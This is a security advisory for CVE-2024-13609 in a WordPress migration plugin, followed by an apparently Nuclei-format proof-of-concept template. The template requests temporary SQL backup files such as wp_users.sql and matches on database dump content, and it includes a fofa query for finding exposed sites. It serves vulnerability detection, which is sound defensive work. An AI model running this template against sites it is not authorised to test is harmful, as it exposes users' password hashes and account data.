The 1 Click WordPress Migration Plugin – 100% FREE for a limited time plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2 via the class-ocm-backup.php. This makes it possible for unauthenticated attackers to extract sensitive data including usernames and their respective password hashes during a short window of time in which the backup is in process.
PoC
id: CVE-2024-13609
info:
name: WordPress 1 Click Migration Plugin < 2.3 - Information Exposure
author: pussycat0x
severity: medium
description: |
The 1 Click WordPress Migration Plugin – 100% FREE for a limited time plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2 via the class-ocm-backup.php. This makes it possible for unauthenticated attackers to extract sensitive data including usernames and their respective password hashes during a short window of time in which the backup is in process.
impact:
Unauthenticated attackers can retrieve sensitive data including usernames and password hashes, risking account compromise.
remediation:
Update to the latest version of the plugin where the issue is fixed.
reference:
- https://wpscan.com/vulnerability/17fa121a-caa6-46ef-a865-eafd97d86abb/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13609
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.9
cwe-id: CWE-200
cve-id: CVE-2024-13609
epss-score: 0.01639
epss-percentile: 0.75155
metadata:
verified: true
max-request: 6
framework: wordpress
vendor: 1-click-migration
product: 1-click-migration
fofa-query: body="/wp-content/plugins/1-click-migration/"
tags: cve,cve2024,wp,wordpress,wp-plugin,1clickmigration,exposure,vkev
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/tmp/db/{{table}}.sql"
attack: batteringram
payloads:
table:
- "wp_users"
- "wp_usermeta"
- "wp_options"
- "wp_posts"
- "wp_comments"
- "wp_postmeta"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "CREATE TABLE", "INSERT INTO", "DROP TABLE")'
- 'contains(content_type, "application/sql")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402204acbb7b89358d587499df5faa081800d349dd43dbd4bcbf53be2ce60d22032690220090910211740e3d6ba08c6098bd9c92994dbdffa6fbc519b7e9e4b78c72460c5:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.